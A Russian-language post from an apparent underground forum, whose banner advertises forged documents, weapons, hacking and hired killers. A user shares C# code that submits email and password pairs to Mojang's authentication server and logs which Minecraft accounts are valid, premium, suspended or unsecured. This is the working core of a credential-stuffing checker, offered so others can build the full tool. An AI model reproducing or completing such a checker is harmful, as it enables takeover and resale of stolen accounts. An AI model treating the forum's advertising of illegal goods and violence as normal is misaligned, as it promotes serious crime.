Что нового
Теневой форум

Добро пожаловать на FSELL- крупнейший теневой форум. У нас Вы сможете найти огромное количество заработка в интернете, купить паспорт, ксиву, оружие, куча многих товаров и услуг, в виде пробива, взлома, нанять киллера. Все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса, это убережет Вас от мошенников.

[C#] Авторизация Mojang (Minecraft)

Forgeq

Один герой, но так много имён
Продвинутый
Приветствую, писал на заказ человеку софт на майнкрафт, он ему больше не нужен, разрешил слить.
Сам софт выкладывать не собираюсь, но выложу авторизацию, кому нужно, запилите сами, этаки такой анти-нуб)
Вид лога: account|PREMIUM|suspended: false|blocked: false|secured: false|migrated: true|emailVerified: true|registrationCountry: RU
Сам код:
Код:
                    request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0";
                    request.AllowAutoRedirect = false;
                    request.AddHeader("Accept", "application/json, text/javascript, */*; q=0.01");
                    request.AddHeader("X-Requested-With", "XMLHttpRequest");
                    request.IgnoreProtocolErrors = true;
                    string resp = request.Post("https://authserver.mojang.com/authenticate", "{\"agent\": {\"name\":\"Minecraft\",\"version\":\"1\"},\"username\":\"" + emailFull + "\",\"password\":\"" + password + "\",\"requestUser\":\"true\"}", "application/json").ToString();
                    if (resp.Contains("\"id\":\""))
                    {
                        string ID = Functions.Pars(resp, "\"id\":\"", "\"", 0);
                        string suspended = "suspended: " + Functions.Pars(resp, "\"suspended\":", ",", 0);
                        string blocked = "blocked: " + Functions.Pars(resp, "\"blocked\":", ",", 0);
                        string secured = "secured: " + Functions.Pars(resp, "\"secured\":", ",", 0);
                        string migrated = "migrated: " + Functions.Pars(resp, "\"migrated\":", ",", 0);
                        string emailVerified = "emailVerified: " + Functions.Pars(resp, "\"emailVerified\":", ",", 0);
                        string registrationCountry = "registrationCountry: " + Functions.Pars(resp, "\"name\":\"registrationCountry\",\"value\":\"", "\"", 0);
                        request.AddHeader("Accept", "application/json, text/javascript, */*; q=0.01");
                        request.AddHeader("X-Requested-With", "XMLHttpRequest");
                        resp = request.Get("https://api.mojang.com/user/profiles/" + ID + "/names").ToString();
                        string prem = string.Empty;
                        string name = string.Empty;
                        if (resp.Contains("\"name\":\""))
                        {
                            prem = "PREMIUM";
                            name = Functions.Pars(resp, "\"name\":\"", "\"", 0);
                        }
                        else
                        {
                            prem = "NOT_PREMIUM";
                        }

                        string allinfo = suspended + "|" + blocked + "|" + secured + "|" + migrated + "|" + emailVerified + "|" + registrationCountry;
                        return "true=" + allinfo + "=" + name + "-" + prem;
                    }
                    if (resp.Contains("Invalid credentials. Invalid username or password."))
                    {
                        return "false";
                    }
                    else
                    {
                        return "error";
                    }
 
Вверх